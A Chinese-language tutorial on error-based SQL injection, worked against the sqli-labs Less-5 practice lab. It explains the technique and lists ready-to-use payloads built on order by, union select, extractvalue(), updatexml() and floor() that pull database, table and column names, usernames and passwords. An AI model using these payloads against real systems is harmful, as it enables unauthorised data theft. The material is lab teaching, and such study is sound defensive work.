sql注入之报错注入

1.1 报错注入原理

报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。

1.2 报错注入靶场

http://192.168.1.24/sqli-labs/Less-5/

1.3 报错注入的函数

  1. extractvalue():这个函数是MySQL中用于对XML文档数据进行查询的XPath函数。当它的第二个参数不是一个合法的XPath表达式时,会引发错误,并可能返回包含攻击者所需信息的错误消息。

  2. updatexml():这也是MySQL的一个XML函数,用于改变(查找并替换)XML文档中符合条件的节点的值。当Xpath定位非法时,会引发错误,从而可能泄露数据库信息。

  3. floor():floor()函数是MySQL中用来取整的函数。在报错注入中,攻击者可能会构造特定的SQL语句,利用floor()函数的特性来触发错误,并从中获取数据库信息。

1.4 寻找注入点

发现没有了用户和ID的回显,只有"You are ing..",查看有无报错回显,找到闭合方式

有报错的回显。然后判断字段数

1.5 用order by判断字段数

复制代码
?id=1' order by 1,2,3--+
?id=1' order by 1,2,3,4--+

输入4的时候会报错,那就得到字段数为3

1.6 用union select 寻找注入点

复制代码
?id=1'  union select 1,2,3--+
?id=1'  union select 1,2,3,4--+

输入到3爆you are in

输入到4的时候报错

得到注入点在3

1.7 用extractvalue()函数爆数据库。

用extractvalue函数进行报错注入。

复制代码
爆破数据库
?id=1' or/and extractvalue(1,concat(0x7e,database()/(select database()),0x7e))--+

得到数据库名security

1.8 爆数据表

复制代码
爆破数据库表
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)fro information_schema.tables where table_schema=database()),0x7e))--+

得到名为emails,referers,uagents,users的四个表

1.9 爆users表中的字段

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e))--+

得到名为user_id,first_name,last_name,us,的字段

1.10 爆字段值

复制代码
?id=1' or extractvalue(1,concat(0x7e,(select username from users limit
0,1),0x7e))--+
?id=1' or extractvalue(1,concat(0x3e,(select group_concat(password) from
users),0x3e),1)--+

1.11 用updatexml()函数进行报错注入

复制代码
爆破数据库
?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+
复制代码
爆破数据库表
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e),1)--+
复制代码
爆破字段
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e),1)--+
复制代码
爆破数据内容
?id=1' or updatexml(1,concat(0x7e,(select password from users limit
0,1),0x7e),1)--+

1.12.通floor()函数进行报错注入,前提需要知道有多少字段数

复制代码
爆破数据库
?id=-1' union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x
from information_schema.tables group by x--+
复制代码
爆破数据库表
?id=-1' union select 1,count(*),concat(0x7e,(select (table_name)from
information_schema.tables where table_schema=database() limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破字段
?id=-1' union select 1,count(*),concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
复制代码
爆破数据库内容
?id=-1' union select 1,count(*),concat(0x7e,(select (username)from users limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
相关推荐
花木偶3 分钟前
【郑大二年级信安小学期】Day6:CTF密码学&杂项&工具包
安全·web安全·密码学
黑客老李8 小时前
EDUSRC:智慧校园通用漏洞挖掘(涉校园解决方案商)
服务器·前端·网络·安全·web安全
薄荷椰果抹茶9 小时前
【网络安全基础】第七章---无线网络安全
网络·安全·web安全
weixin_472339469 小时前
网络安全之重放攻击:原理、危害与防御之道
安全·web安全
咖啡啡不加糖9 小时前
暴力破解漏洞与命令执行漏洞
java·后端·web安全
weixin_472339469 小时前
网络安全之注入攻击:原理、危害与防御之道
安全·web安全
码农12138号15 小时前
BUUCTF在线评测-练习场-WebCTF习题[GXYCTF2019]BabyUpload1-flag获取、解析
web安全·网络安全·文件上传漏洞·buuctf·解析漏洞
薄荷椰果抹茶1 天前
【网络安全基础】第六章---Web安全需求
安全·web安全
HumanRisk2 天前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
安全系统学习2 天前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss